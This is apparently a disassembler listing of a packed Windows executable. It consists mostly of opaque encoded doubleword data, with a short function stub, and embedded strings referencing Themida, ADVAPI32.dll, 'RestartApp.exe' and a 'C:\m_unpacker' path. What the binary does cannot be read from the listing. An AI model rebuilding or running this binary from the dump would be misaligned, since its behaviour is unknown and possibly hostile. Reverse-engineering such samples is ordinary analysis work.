dd 73E50A0h, 7C83152h, 54C4784h, 7BB1D400h, 0AD0B01B8h
dd 7AA496BAh, 0B8E0CAC6h, 8827ACC3h, 842C10CEh, 18EE0101h
dd 37FC1B86h, 3C213AB1h, 609D0DF6h, 0A14482B2h, 564266h
dd 34926C40h, 5FED0010h, 0C3455D8Ch, 7814B429h, 259209D5h
dd 89500281h, 807125h, 3C9553DCh, 0E90EBF4Eh, 1D80E499h
dd 5B672041h, 202AC8BAh, 24BF7D4Ch, 9B7FF676h, 1A059FF4h
dd 0C9FA1B31h, 618028ACh, 0D9C4F295h, 0BCCF3503h, 9186A59Dh
dd 2230F4E1h, 0B0ED02E9h, 1CB4487h, 8609F840h, 47D59B00h
dd 0C693AB40h, 257713CCh, 0F26424D0h, 949C0008h, 89C5B2E5h
dd 6D790FC6h, 9B41DCA2h, 60F98AD4h, 0C03950B5h, 51D19E3Eh
dd 530683A6h, 2086218h, 0EBFAB50Fh, 0E8E32ED9h, 9DD0B885h
dd 0BA7F01E1h, 0D01071EAh
dd 0FE01FD44h, 988D060Fh, 9091F7C3h, 5E600D3h, 48C070C7h
dd 0AEE2038Ch, 0C4F6A2B1h, 80C125E0h, 2E722D00h, 0FAEFE988h
dd 0C8130178h, 8E11074Fh, 0B298F3F0h, 0A900B939h, 0C91D7A03h
dd 11A1B167h, 5BE2CC25h, 91514420h, 0A8B00841h, 0CB024AC6h
dd 0DC9E9C55h, 0DE804924h, 273E2432h, 13EAFAF6h, 0EF655C03h
dd 4E5A8407h, 0C0A424F8h, 83ABFAD8h, 2F2CBF7Ch, 562628ECh
dd 9EC90Bh, 9C1411E0h, 0E6360DB9h, 6C392EFEh, 38608028h
dd 720542h, 8326460Eh, 0B76B2149h, 2A1DBB04h, 4CE2CCAAh
dd 2F38EF00h, 0AF396086h, 904D7D07h, 0DBDB23h, 46ED888Dh
dd 1854B05h, 0C8E11CE4h, 218889B6h, 2748F09Dh, 0B410126Bh
dd 271D89D2h, 0B440D6D9h, 71111CECh, 0E90800F1h, 53C24BC8h
dd 0D8906E92h, 1B3BD00h, 8B0AE889h, 0AF190091h, 0BC02F879h
dd 0FB1354D1h, 0E0A24AE2h, 1DA93C61h, 0AAB04CD4h, 59770500h
dd 448548C8h, 223B0BBh, 0CAD4A202h, 0A48EA62Ah, 8A53C3A0h
dd 20953386h, 613051C8h, 59420431h, 0C06C8C4Ah, 0F0EB6604h
dd 1C4909Dh, 8BBE0FAAh, 0A1C5C662h, 0B0B2A3h, 0F94BB33Eh
dd 1B4D1E4h, 8807D3A6h, 80C81BB8h, 97193570h, 9449B77Fh
dd 0F1D10B38h, 0EE32822h, 2645129h, 0BBE2996Ah, 3BF05Ch
dd 2AC10FEFh, 254CD8Dh, 0F1EA3F1Bh, 28F2FAE3h, 0F5FDB807h
dd 6CA0B6A2h, 5A4798h, 5F26B791h, 0A8BCEB36h, 0A0D885B5h
dd 20C55980h, 2AA7840h, 76D351CBh, 7059E466h, 6FC8B800h
dd 0D16D2Eh, 0CBC0D9A5h, 4B75B621h, 8CA9A707h, 79993E07h
dd 71060E80h, 1936445Dh, 3D464077h, 0ECAD8Eh, 9B692843h
dd 0DC210879h, 188F48h, 919A4B22h, 0FA588117h, 3D072CAh
dd 0A91D6ABAh, 1AB0EAB1h, 0E4007C53h, 8D78CEC2h, 99D2E20h
dd 107FA92Ah, 0B18B1459h, 27F8009Eh, 13D1ADE9h, 90BB7807h
dd 1525CF44h, 0A7409C9Eh, 7A39601h, 89060A53h, 0B88EC493h
dd 514180D0h, 9A60E04h, 0D81E4FE5h, 9FD4D800h, 80037F30h
dd 0B52DFC87h, 9C883BA0h, 0F40BD704h, 4C0CCC56h, 1A790302h
dd 0E1F0B083h, 0B815244Ch, 14CD434h, 7A93FFC9h, 4E19FC0h
dd 84E0432h, 9A8083D8h, 78CF05B9h, 0C9324AA0h, 7028E228h
dd 7F28AC83h, 88ECF3E1h, 865F75Fh, 4DA07761h, 0E4C4A7h
dd 0C146FE69h, 48500D0Ch, 3E862E14h, 0A7370014h, 532BBEF2h
dd 0AD7FE78h, 967395F1h, 0C180B974h, 653761D2h, 6CB8CCDFh
dd 2E917AA0h, 0C0944748h, 3AD597BBh, 0A8C23B80h, 0EC8E3C02h
dd 1CF12772h, 579F5000h, 1C23DA69h, 0DD88545Dh, 0E77280F9h
dd 0F3BA6606h, 0CD26C414h, 44CC89FCh, 38C5E884h, 6980ADF4h
dd 69E64D2h, 0C422FEDAh, 514D0763h, 0C05C8EA8h, 12E996A6h
dd 3619C00h, 8457CE69h, 483490CCh, 2022B008h, 9E0068B9h
dd 0A2BC429h, 0B518257Fh, 7DA96410h, 7F79A58h, 0CFAF642Dh
dd 4CD1BD40h, 459CB088h, 12F002F9h, 2F60002Bh, 5CE14FCh
dd 14AA84Bh, 0B8D0C421h, 0EA50803Ch, 28D46C30h, 3449177h
dd 0B086A698h, 9EE257D1h, 0FB839476h, 0E9756037h, 9020137Ch
dd 299888FAh, 0B88E8024h, 9322C800h, 3AB9DDh, 996CBE94h
dd 0C263AFD4h, 64316F03h, 228EA69Dh, 0B04E16B8h, 78041080h
dd 0B6A8A491h, 0EF8241B0h, 0B8D5D034h, 0A4D95C00h, 50BC7F1Dh
dd 0C9B202F9h, 16A66EBDh, 750024D1h, 0F80439C6h, 6ACF005Fh
dd 0C999F46Ch, 0FA3DB887h, 10C8DB4Ah, 10FB0EF1h, 0A0E139CFh
dd 3BFDC625h, 0F9733870h, 63283AE0h, 0C582BB17h, 22F880B8h
dd 0FE0229CEh, 0F871A23Ch, 13CE361h, 8B2BD192h, 727E4A2Ah
dd 4205A68h, 0E29DE44h, 76DEDF1h, 0E110C853h, 0D842E200h
dd 7DBD3C85h, 0C9102DA4h, 0C513C003h, 328E8ECh, 9F784F11h
dd 0C8394A5Dh, 69B832E4h, 7559DA00h, 1B76530Ah, 0B85B032Ch
dd 0E9B09F6Ah, 522FFE90h, 92C5833Fh, 70F28BFFh, 0D1848700h
dd 0F97DFD4h, 0F1549C00h, 0BC26B42Fh, 3F28009Bh, 1FE3C4FDh
dd 600095C5h, 0CD86D8BBh, 37DD972h, 0E15687E8h, 1CA34A36h
dd 1B3EF2A0h, 66441107h, 9ED04D6Fh, 37F130h, 0A2CC3D5Fh
dd 0BDF70628h, 0C11848DCh, 8DE351h, 0B76FFF79h, 0E69E7892h
dd 36AAB500h, 0FCDC2C5Fh, 58C40356h, 0C31E2DC5h, 3F63410Eh
dd 367C00D7h, 601F0EB1h, 147451CBh, 59008011h, 57C9FA82h
dd 134E12h, 9A23EB45h, 5D477FCEh, 5E58C800h, 4FD23FB7h
dd 639800D6h, 0F9A748A6h, 503EFD5h, 3F66E08Ah, 0BE00B7C8h
dd 0C61319Dh, 0CD95D796h, 6C001588h, 7966EC18h, 0C4F544Ch
dd 77AEF332h, 90C02A48h, 0D838D6BDh, 8D0100BAh, 0FE668BDEh
dd 31F44612h, 0FF855106h, 1ED9E134h, 0C30B23A2h, 0A9F56392h
dd 1AD624A8h, 0E6A8F106h, 5C29F934h, 143CCAE8h, 17684E00h
dd 1C082F06h, 0B7004879h, 0B694909Ah, 0E664DA8h, 8F58A3FBh
dd 1DD22540h, 2C3F74A1h, 7CCA00DFh, 68916104h, 1A56031Ch
dd 0E8B0BE18h, 0D833E129h, 8BAAA000h, 9D5BC5h, 55FD7AC2h
dd 0CA03AF84h, 75080A0h, 0A5BE3B50h, 1CC39B1Ch, 20CE64CFh
dd 29D892D7h, 9E5C0145h, 0C3F0A995h, 8D28A522h, 0E8E0300Ch
dd 1659E442h, 892481h, 96360B06h, 0F001558Dh, 0F8D6A193h
dd 3180BF0Ah, 0EED4836Dh, 0FC0020E3h, 68BC1BDFh, 18399C7Ah
dd 29A0EFE2h, 0CE05B08Ch, 0D33BB450h, 0C0C6AC4h, 1F1D8970h
dd 0C0FE307Bh, 3B35B219h, 581CCC4Ah, 0A2015C2Dh, 0A7EFF943h
dd 0BC5F3980h, 85464193h, 370CDA1Ch, 0E1410ADDh, 0B5EFF8A7h
dd 54CE299Fh, 0F21FC925h, 90F68E21h, 9E080073h, 728F546Ah
dd 0D5C81C0h, 0B1C881h, 51198860h, 1CA987CAh, 0C094D555h
dd 0B298EA33h, 0A2AE1105h, 0B4411070h, 634ED4A7h, 0F120560h
dd 1BFFB0C8h, 2C8F8827h, 491FEE61h, 3C4133EDh, 3AE2D5A0h
dd 0E7F270h, 4BB94D76h, 9472DBDCh, 0A071D06Fh, 0CC1557FAh
dd 180BF674h, 0D9A4A2D3h, 0C61DDB24h, 57406980h, 0A3C425F7h
dd 0C5560612h, 29A293D3h, 0D2DA2A01h, 1E1574E1h, 1C2BD8h
dd 1D276B11h, 0B32D8C0Eh, 1800C8A2h, 0A7FAC755h, 0FE017C00h
dd 21A9278Ch, 0C074EAD8h, 0E7AE95C9h, 8502E837h, 713B3A52h
dd 0ED84A015h, 0C67D09h, 0EB8135D0h, 4A1C1E84h, 0AC0124FAh
dd 6EE858F7h, 318C1255h, 0DF79ABEFh, 0CDFBC600h, 3A89D9D8h
dd 0AF9FA74h, 0E936568Ch, 98B118B8h, 0EC009569h, 26E6C8Dh
dd 4AC524FFh, 18BBB898h, 0D0590D74h, 22BC007Eh, 40AA295Ch
dd 0EF098614h, 108F80C1h, 16F9A038h, 0F0FA1C30h, 0C802918Fh
dd 586EDB1Fh, 0B4508419h, 0B27F14Fh, 774AA3BBh, 73CDAD88h
dd 6C5320Fh, 2CD7E194h, 0D048ABD3h, 8EE300FBh, 30BF713h
dd 6A144B17h, 8882DBh, 3BDC7F1Ah, 1928DF6h, 787E447h, 0E5FF5715h
dd 82A1B876h, 535CAAB6h, 6344A026h, 4F1A62h, 0EB09BC59h
dd 8AF38790h, 3101D2F4h, 0F641D12Dh, 71D064DFh, 0F1C9C018h
dd 0A0CB7293h, 0BA52FD00h, 8064BD8Ah, 0A44A02E1h, 6E04B24Fh
dd 3140F563h, 34FA93FCh, 6A1C1F03h, 0DD3CEAADh, 0FC17BBC1h
dd 4B42092h, 88F5A964h, 0A752D290h, 43506280h, 0BEEF2313h
dd 0C193Bh, 2A389596h, 2973A236h, 0DC7081h, 8526E154h
dd 0C10EF88Ch, 469E6BEEh, 88228Ah, 0DEFC607Ah, 2370C357h
dd 0A3A8D318h, 0C0A15B59h, 4445CC5Ch, 73548F7Fh, 0DB00A6A4h
dd 52BE337h, 1698ACh, 45F4EA57h, 3DFBF386h, 6AA7F600h
dd 482E7A9h
dd 0FF590215h, 91D2F00Bh, 255E6890h, 3CD5008Ah, 3C9AE1D3h
dd 1E026B19h, 5FBE3EDh, 24EAE480h, 0D17B04B4h, 0B5F85802h
dd 64566E3Bh, 0ADEF30CCh, 3DC8BA59h, 0E3C1F200h, 0E11EBCE2h
dd 0EC7A98D2h, 51BD581Ah, 318FD312h, 20E0A3E8h, 1A4C218Ch
dd 7B14C3DCh, 43D88040h, 0DCB600C7h, 5355E69h, 0AD020142h
dd 8DD27DD4h, 0EDA622BEh, 0DD3F00C6h, 7A3C80BAh, 676F4E5Fh
dd 242A4807h, 0E1AC2A71h, 9FA0058h, 566FD833h, 0CE133A66h
dd 20743Eh, 7D2F51Ah, 70EFFE5Bh, 0E04570E7h, 0D7003736h
dd 0FABC956Ch, 202593Dh, 42CDCF11h, 79C36B9Fh, 83684144h
dd 258B261Fh, 533405BBh, 7E807FDCh, 2558043Fh, 27561EA1h
dd 7C2EA828h, 37036E73h, 40782811h, 26F8E4D9h, 1CC6DDh
dd 823BC064h, 70506C55h, 9703AC58h, 0C2E85B5h, 0EF9F9042h
dd 0E27D58h, 0BF08CF5h, 0DDF63CE3h, 5157D11Dh, 2EF4A645h
dd 11709C46h, 16440049h, 0A450DA43h, 8E027D0Fh, 0B12E390Ah
dd 1084029h, 0DEF530A6h, 7FB9D239h, 989DE200h, 2436846h
dd 0D394300Ah, 36A80D21h, 4EC5B61Dh, 6CFE4940h, 932B7C4h
dd 596ED506h, 0D2DFD410h, 4D6D7101h, 0A86AE6A9h, 0C628760h
dd 2F930898h, 5F1EDE51h, 0E841E437h, 0BCB8A2FEh, 0EA13C4h
dd 81BBD15Dh, 5C3EE022h, 9C38FB28h, 0EBB9CD04h, 3C88A6D2h
dd 0EE660752h, 314254DFh, 0E96EFA3Eh, 1E898128h, 7598E11Fh
dd 44710820h, 1600A20Fh, 30668831h, 921F6005h, 561A00E4h
dd 0CFE6026Fh, 0A9C0DA93h, 0BCA7DEF7h, 8C9415BBh, 0B400E46Eh
dd 0D9FC649Ah, 0CA00AC42h, 1B178958h, 1380A21Ah, 207144FDh
dd 0B955F20h, 5D69DA00h, 0E98E0C82h, 6A66001Bh, 68D86C56h
dd 3711502h, 22F4AD4Ch, 56110026h, 5AB6F8C4h, 6B174DDEh
dd 24085D5Bh, 987680B1h, 371CDC73h, 350183F2h, 4C72404Dh
dd 8D419E1h, 5809FE92h, 6D87F88Ch, 0F152E059h, 4503AD80h
dd 1058A455h, 0CA9D9F3h, 788449F5h, 0CCF88A6Fh, 800E9FCh
dd 0ABC95389h, 90C1AE12h, 8A2D2EF8h, 7A51100h, 89C0E6A6h
dd 0BAF840CEh, 0D76763h, 3E96241Ah, 0F926E30Eh, 0C866A704h
dd 60C0A20Ah, 3AF3F78Ah, 0B5000715h, 0A4E75C41h, 2703191Ch
dd 0B2F27340h, 0E8280565h, 41D9EFA6h, 2D6A89CCh, 977830A3h
dd 2230A45Ch, 0C12400BEh, 5C393784h, 0A1CF2A70h, 0EC1E6090h
dd 0F967054Ah, 64004462h, 0EAC908FEh, 0F600346Dh, 78B7BD0h
dd 0E8F5E5h, 0B052B31Bh, 0B984E1FAh, 9D0ADDE8h, 847C885Eh
dd 5802C29h, 98925DDEh, 31A70069h, 99EC5C8Ch, 8987790h
dd 89285E00h, 0DD7A8DE2h, 4B316B2h, 883448h, 600E91CEh
dd 0B205DACEh, 0C5633E2Dh, 0D2C8E981h, 25AC25E8h, 2420F04Ch
dd 0F8A71C44h, 6376651Fh, 517BE900h, 2419C84h, 0AA2DC440h
dd 8C98ACD3h, 0C7120294h, 0F85E83AEh, 6140942Ch, 2CF8DF1h
dd 0E84CE0C3h, 0EC61276Ah, 7283271h, 4D2292A1h, 5C6C0E20h
dd 0CDF800A0h, 1C8CDC9Eh, 400554Fh, 5A8912F2h, 0B8879682h
dd 188F7784h, 692993F7h, 4E009C9Dh, 7EB853D5h, 16F9178h
dd 48BE7FA0h, 0D86A7B09h, 30941FAh, 827EC836h, 207524A0h
dd 2819711Ch, 34D99F3Eh, 0AC81D92Bh, 1026F557h, 0AE8416h
dd 9F534B5Ch, 2F48741Ch, 0AF1309F4h, 2CB40422h, 0EFDDE040h
dd 8C302E9Fh, 0CC605169h, 673B00E9h, 43014483h, 6E00BA35h
dd 0E4C19F90h, 96F0C06Ah, 79868038h, 98448E5Eh, 7EB9D304h
dd 0C8506Eh, 96270082h, 7DE549CEh, 74C5AEEh, 0A8ADC084h
dd 5FB0EAh, 474AD39Ah, 1CB69E62h, 0B3C62F0Eh, 9444E33Ah
dd 45310024h, 27344ECFh, 533E04CDh, 2D390021h, 1D36BD24h
dd 173C0264h, 8F52E2D8h, 57E86880h, 2900D4FAh, 34AC7572h
dd 38158B6h, 26671FDAh, 0F3A8E1EAh, 4B127A1Bh, 0AC033BFCh
dd 2D9462h, 0FF845479h, 0E9E863CEh, 2B8AE307h, 87757073h
dd 0E5B03440h, 7CC2694h, 28514ACFh, 108317D6h, 6165116Ch
dd 16E74301h, 8DCF671Bh, 0E6074C32h, 705F4F94h, 585DC07Ah
dd 8C7113E0h, 85CA283Ah, 40CC7166h, 1FEF0480h, 0A7E20F9Eh
dd 79821B65h, 909093BFh, 0E700140Eh, 636ADCC1h, 21C9F2h
dd 0D96D7823h, 7AB77C67h, 71392412h, 602C0491h, 8A1DECh
dd 0A787A897h, 7F297A0Bh, 0FF01CC52h, 60FBFFh, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_52DCF8: ; CODE XREF: start:loc_4D3265j
; DATA XREF: start:loc_4D3086o
jmp loc_530FE9
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
aJz db 'Áܦ‡',0
align 4
dd 3 dup(0)
dd 0C530DF00h, 0A9h, 9E949900h, 0
dd 9EF78D00h, 0FDh, 0
dd 584C7600h, 2 dup(0)
dd 0E800h, 2 dup(0)
dd 25407100h, 8Ch, 2 dup(0)
dd 568D0E00h, 2Ah, 6 dup(0)
dd 641F5C00h, 0Ah, 6FE000h, 0FFA7A500h, 0FFh, 3 dup(0)
dd 476CB800h, 0D4C96A02h, 77h, 0
dd 5A428000h, 0
dd 9EFA5600h, 2 dup(0)
dd 57EDE200h, 6, 6 dup(0)
dd 1FCFC00h, 80h, 0
dd 0A9711600h, 580000FFh, 2, 2 dup(0)
dd 558E0200h, 0A400h, 0
dd 0FE030400h, 7Fh, 13h dup(0)
dd 52FB1900h, 0E8360C00h, 77h, 29h dup(0)
dd 0FE030400h, 5301E17Fh, 568F6D00h, 0A7DC5E00h, 0FFh
dd 0FB66F400h, 0FFh, 3 dup(0)
dd 6C00h, 3 dup(0)
dd 1AE00000h, 0Ch dup(0)
dd 2FB7FB00h, 70h, 0
dd 100h, 0FE030400h, 7Fh, 7 dup(0)
dd 0DC000000h, 0CBh, 0Ch dup(0)
dd 8704EB00h, 57h, 0
dd 0AD721600h, 2 dup(0)
dd 3500000h, 0CA9E0400h, 0E7A14427h, 77h, 61962300h, 0FFh
dd 0EE610B00h, 9Bh, 2 dup(0)
dd 0FF9B6E00h, 736552FFh, 74726174h, 2E707041h, 657865h
dd 500h, 8 dup(0)
dd 0FE030400h, 5C3A437Fh, 6E755F6Dh, 6B636170h, 7265h
dd 7Eh dup(0)
dd 500h, 0
dd 0F973D300h, 0CAh, 245E900h, 0
dd 0FE030400h, 0D3C9117Fh, 0A2h, 4 dup(0)
dd 3F000C00h, 2, 0
dd 59000000h, 36E71302h, 0FAh, 0F2F70C00h, 0E7h, 0
dd 0D17E00h, 0
dd 40000000h, 2 dup(0)
dd 0ED00AC00h, 12FF54FFh, 7D100h, 5 dup(0)
dd 400E900h, 200h, 6 dup(0)
dd 9EA00F00h, 6 dup(0)
dd 5EF41D00h, 0FEh, 4D586800h, 0FE030456h, 7Fh, 2 dup(0)
dd 568F6D00h, 100h, 3 dup(0)
dd 5A947A00h, 3 dup(0)
dd 2216800h, 0
dd 40310A00h, 80h, 8 dup(0)
dd 94B63E00h, 7B09E9FEh, 2Bh, 7 dup(0)
dd 0B5083800h, 56h, 4 dup(0)
dd 0E7AC5E00h, 77h, 3 dup(0)
dd 9E923400h, 0FFFFFF00h, 0FFh, 0
dd 0E7A13F00h, 56F37A77h, 5 dup(0)
dd 6B6C00h, 98E900h, 3 dup(0)
dd 5B3300h, 2 dup(0)
dd 7F754400h, 94ACh, 2 dup(0)
dd 4A1DD600h, 2Ah, 0FE030400h, 7Fh, 12FFF000h, 0Fh dup(0)
dd 568EEA00h, 3 dup(0)
dd 6B6C00h, 3 dup(0)
dd 33333300h, 2 dup(33333333h), 33h, 3 dup(0)
dd 996EB800h, 7, 6 dup(0)
dd 19CC00h, 8 dup(0)
dd 37A8B800h, 18h, 4 dup(0)
dd 0AAD5E300h, 0D7h, 6 dup(0)
dd 585C9300h, 0
dd 0AC00h, 615FF100h, 0FFh, 3 dup(0)
dd 58832700h, 9E314500h, 3 dup(0)
dd 0FF938000h, 0FFh, 42DCF600h, 19h, 4 dup(0)
dd 1FCFC00h, 80h, 0
dd 0A5BD8000h, 0FFh, 0
dd 5931EE00h, 0
dd 5701A900h, 2 dup(0)
dd 0FFEF1800h, 890000FFh, 888D8D02h, 87h, 0
dd 0E7A14400h, 77h, 0
dd 12FF5400h, 2 dup(0)
dd 0CA9E0400h, 27h, 26h dup(0)
dd 0FFFCFC00h, 0FFh, 4D100000h, 2 dup(0)
dd 0E7A83700h, 77h, 2 dup(0)
dd 100h, 2 dup(0)
dd 9E69DD00h, 3 dup(0)
dd 0A0B13400h, 0AFB09D00h, 0EBh, 6 dup(0)
dd 98633900h, 0E7A5FD7Fh, 77h, 3 dup(0)
dd 28010500h, 0Ah, 2 dup(0)
dd 9E69DD00h, 0ACB1CA00h, 0CEFFB000h, 1, 5 dup(0)
dd 0E7A5FD00h, 77h, 0Ch dup(0)
dd 58812600h, 7 dup(0)
dd 90B0DA00h, 10h, 0
dd 0FFAECF00h, 0FFh, 56FFBA00h, 0FFh, 2 dup(0)
dd 568EEA00h, 4 dup(0)
dd 6EFFB000h, 53002301h, 0
dd 57A48600h, 0Dh dup(0)
dd 0FFB79700h, 0FFh, 0CB1A700h, 9 dup(0)
dd 5A428000h, 3 dup(0)
dd 0DD5ECC00h, 77h, 3 dup(0)
dd 5F645400h, 0FFh, 0
dd 568EEA00h, 3 dup(0)
dd 0FE030400h, 7Fh, 568EEA00h, 0
dd 55E45900h, 0
dd 0FE030400h, 597F5D7Fh, 0F5000032h, 77h, 0
dd 0A7A36D00h, 2D3430FFh, 20EE931h, 0
dd 65685400h, 6164696Dh, 1Dh dup(0)
dd 0FE030400h, 0E8360C7Fh, 77h, 2 dup(0)
dd 568EEA00h, 0E8000h, 0FFFFFF00h, 0FFh, 5 dup(0)
dd 0F0004900h, 0FFh, 0Ah dup(0)
dd 22FE800h, 39002900h, 7Dh, 6C00h, 0
dd 56F8A00h, 0A3h, 9EF5B800h, 0D8FDh, 0
dd 9D00F800h, 1FCFC00h, 80h, 2300h, 0Dh dup(0)
dd 8C00h, 3 dup(0)
dd 771E9300h, 56h, 97AE6300h, 568EEA4Ch, 0E8221C00h, 77h
dd 3 dup(0)
dd 40310A00h, 80h, 4 dup(0)
dd 100h, 0C530DF00h, 7E8A9h, 9 dup(0)
dd offset dword_450050+0F6B0h
dd 4 dup(0)
dd 0D46BC600h, 8BA0AFBAh, 0
dd 0F5125400h, 77h, 0
dd 400E900h, 3D79B100h, 59h, 57B95500h, 5 dup(0)
dd 0FF97A800h, 0FFh, 0EFFB000h, 2, 6 dup(0)
dd 0A28D5300h, 4 dup(0)
dd 585C3600h, 5 dup(0)
dd 0A7DC5E00h, 0FFh, 9 dup(0)
dd 0FE030400h, 7Fh, 7E800h, 9 dup(0)
dd 561FA900h, 4 dup(0)
dd 2470E400h, 3Fh, 2 dup(0)
dd 5400h, 0
dd 568EEA00h, 2 dup(0)
dd 0A09CFF00h, 0E75CB512h, 77h, 2 dup(0)
dd 568EEA00h, 100h, 0DCE07D00h, 80h, 0FE030400h, 7Fh, 2 dup(0)
dd 568EFC00h, 60FA0900h, 0FFh, 9 dup(0)
dd 7C00h, 0AA077C00h, 3F9F8FFh, 2D23A200h, 58AD6F9Ah, 0FE030400h
dd 7Fh, 0
dd 0A000000h, 64h, 0Ch dup(0)
dd 0E78B8200h, 77h, 3 dup(0)
dd 561D6400h, 4 dup(0)
dd 9F22D400h, 0
dd 0A9372B00h, 0FFh, 11h dup(0)
dd 0FE030400h, 12FD087Fh, 0
dd 12FEF000h, 0
dd 1900h, 3 dup(0)
dd 0C40EE900h, 0B8B46E08h, 0E7h, 3 dup(0)
dd 572AA000h, 2 dup(0)
dd 9800h, 3 dup(0)
dd 35B00h, 0
dd 0E7796300h, 77h, 0
dd 0E4475300h, 52h, 0
dd 58AF2400h, 56002300h, 0
dd 59C24600h, 3 dup(0)
dd 0FE030400h, 7Fh, 0
dd 0E7A09900h, 77h, 0FE030400h, 53018D7Fh, 4 dup(0)
dd 0EC753800h, 114h, 0
dd 5A188B00h, 9 dup(0)
dd 0FE030400h, 7Fh, 5 dup(0)
dd 561D8C00h, 573AAE00h, 4 dup(0)
dd 0B4320E00h, 0DCh, 3 dup(0)
dd 5995CF00h, 0
dd 573AB100h, 0
dd 5820AF00h, 5AF66400h, 0
dd 594E1900h, 6 dup(0)
dd 0BFCEF600h, 7Fh, 2 dup(0)
dd 59C24600h, 0
dd 6B6C00h, 0Ah dup(0)
dd 0D000000h, 3 dup(0)
dd 0A9711600h, 0FFh, 5809EA00h, 61962300h, 0FFh, 9 dup(0)
dd 0AA6EC900h, 420B88FFh, 0
dd 0E8279000h, 77h, 0
dd 0FDFFFF00h, 0ECFEh, 4 dup(0)
dd 0F5180B00h, 0C530DF77h, 0A9h, 7 dup(0)
dd 34567800h, 12h, 4 dup(0)
dd 585C9300h, 9 dup(0)
dd 0A6B26200h, 0FFh, 56BDD600h, 0
dd 9E229200h, 3 dup(0)
dd 0FFFCFC00h, 0FFh, 0
dd 4EFFB000h, 1, 17h dup(0)
dd 5EF41D00h, 470000FEh, 2, 9DD55400h, 8 dup(0)
dd 0B5000000h, 0
dd 583B2F00h, 1101F800h, 80h, 4 dup(0)
dd 6BC100h, 0
dd 588AFD00h, 0E7A83780h, 0DC77h, 4 dup(0)
dd 32A000h, 0C4h, 1C213800h, 37h, 5 dup(0)
dd 560F5500h, 56002300h, 0
dd 569F0600h, 0
dd 90910500h, 0DDh, 3 dup(0)
dd 0E793EF00h, 77h, 1Bh dup(0)
dd 531B7A00h, 3 dup(0)
dd 0B4320E00h, 0DCh, 9242DD00h, 2, 6 dup(0)
dd 0A137B600h, 1, 0
dd 9B02D000h, 49h, 0
dd 1FCFC00h, 80h, 2 dup(0)
dd 568F6D00h, 2 dup(0)
dd 2155C00h, 2 dup(0)
dd 0E83E6800h, 77h, 59F7D600h, 561AE300h, 0Dh dup(0)
dd 100h, 2 dup(0)
dd 12FFA400h, 56F11100h, 9000h, 5 dup(0)
dd 56ED0E00h, 2Ah, 4 dup(0)
dd 0A000h, 9EA00F00h, 7400h, 2 dup(0)
dd 100h, 0F0BF0400h, 0BAh, 56B22800h, 9F326880h, 9D003E00h
dd 3 dup(0)
dd 0F1BA7F00h, 63h, 3 dup(0)
dd 9E70C400h, 9D000000h, 11h dup(0)
dd 0DE807700h, 438D8D11h, 0E8061859h, 77h, 0A9502D00h
dd 0A07316FFh, 0Ch dup(0)
dd 530B2500h, 7 dup(0)
dd 0E6D70600h, 0E0477h, 0
dd 1FCFC00h, 80h, 2 dup(0)
dd 59621600h, 52FB1900h, 5931BE00h, 0FF966000h, 0FFh, 6 dup(0)
dd 0D800h, 5823A200h, 2 dup(0)
dd 12FD0800h, 2 dup(0)
dd 0FC502400h, 77h, 0
dd 0AEA1FE00h, 3 dup(0)
dd 36363600h, 36h, 130000h, 568EEA00h, 0
dd 0FB5E200h, 8Ah, 4 dup(0)
dd 3A000h, 0
dd 0FE030400h, 7Fh, 8 dup(0)
dd 5301E200h, 4 dup(0)
dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
dd 9E69DD00h, 5 dup(0)
dd 0C530DF00h, 0A09BACA9h, 0
dd 0AFE500h, 2 dup(0)
dd 531E8900h, 0
dd 6B5CA000h, 49h, 0
dd 0FDF11700h, 0FFh, 9E5E2E00h, 5 dup(0)
dd 53002300h, 3 dup(0)
dd 1FCFC00h, 9E70C480h, 0FFFFFF00h, 0FFh, 5 dup(0)
dd 585C9300h, 0
dd 41FD1400h, 0FFh, 0
dd 9EA00F00h, 2 dup(0)
dd 17FB800h, 0
dd 9E69DD00h, 0
dd 0D461FD00h, 85h, 19h dup(0)
dd 6A000000h, 0E8h, 9F156400h, 0
dd 41054500h, 0C1h, 0
dd 3BC00h, 3 dup(0)
dd 594D9E00h, 9DB16800h, 0Dh dup(0)
dd 55E45C00h, 9A8D8D00h, 3Ah, 4 dup(0)
dd 9E69DD00h, 5 dup(0)
dd 48491000h, 2Ah, 0A2A5E700h, 5 dup(0)
dd 30DF00h, 0
dd 53018D00h, 4 dup(0)
dd 0FDEE6100h, 7Fh, 0DC8F3700h, 0Ah dup(0)
dd 0D0FC0200h, 9B788040h, 0D5h, 59892100h, 3 dup(0)
dd 0FE030400h, 13E87Fh, 7 dup(0)
dd 0A8EE0A00h, 55h, 100h, 3 dup(0)
dd 58AF2400h, 2 dup(0)
dd 568EEA00h, 2 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 12FF5400h, 3 dup(0)
dd 64FFC700h, 0DDh, 0E776CD00h, 77h, 4 dup(0)
dd 3F000000h, 2, 568EEA00h, 8 dup(0)
dd 9EA03700h, 0F40FC00h, 6C58A245h, 64h, 6 dup(0)
dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 2 dup(0)
dd 0A07FD800h, 4 dup(0)
dd 576E2C00h, 0
dd 0DD000000h, 315D77h, 50680100h, 5DBB4900h, 0E4h, 3 dup(0)
dd 3900h, 0
dd 10E800h, 0
dd 30DF00h, 6 dup(0)
dd 0FE030400h, 7Fh, 0E5E900h, 2 dup(0)
dd 12FF6000h, 0
dd 400E900h, 4 dup(0)
dd 30000h, 1Ah dup(0)
dd 59523300h, 0
dd 21212100h, 21h, 2 dup(0)
dd 0D301400h, 9F156400h, 9E915B00h, 12FD0800h, 3 dup(0)
dd 0B4320E00h, 25FA10DCh, 3 dup(0)
dd 7800h, 9 dup(0)
dd 0AB7D3500h, 0C1BC0455h, 9D0FE68Eh, 7 dup(0)
dd 5B227C00h, 76h, 6 dup(0)
dd 6B6C00h, 0Dh dup(0)
dd 679CC700h, 7F6CB880h, 2, 58E33200h, 568C7700h, 4 dup(0)
dd 0FE030400h, 7Fh, 7 dup(0)
dd 562FFD00h, 6 dup(0)
dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
dd 9EA037h, 448BE0FFh, 0E0FF0424h, 15h dup(0)
dd 9EEB6F00h, 0
dd 8400h, 2 dup(0)
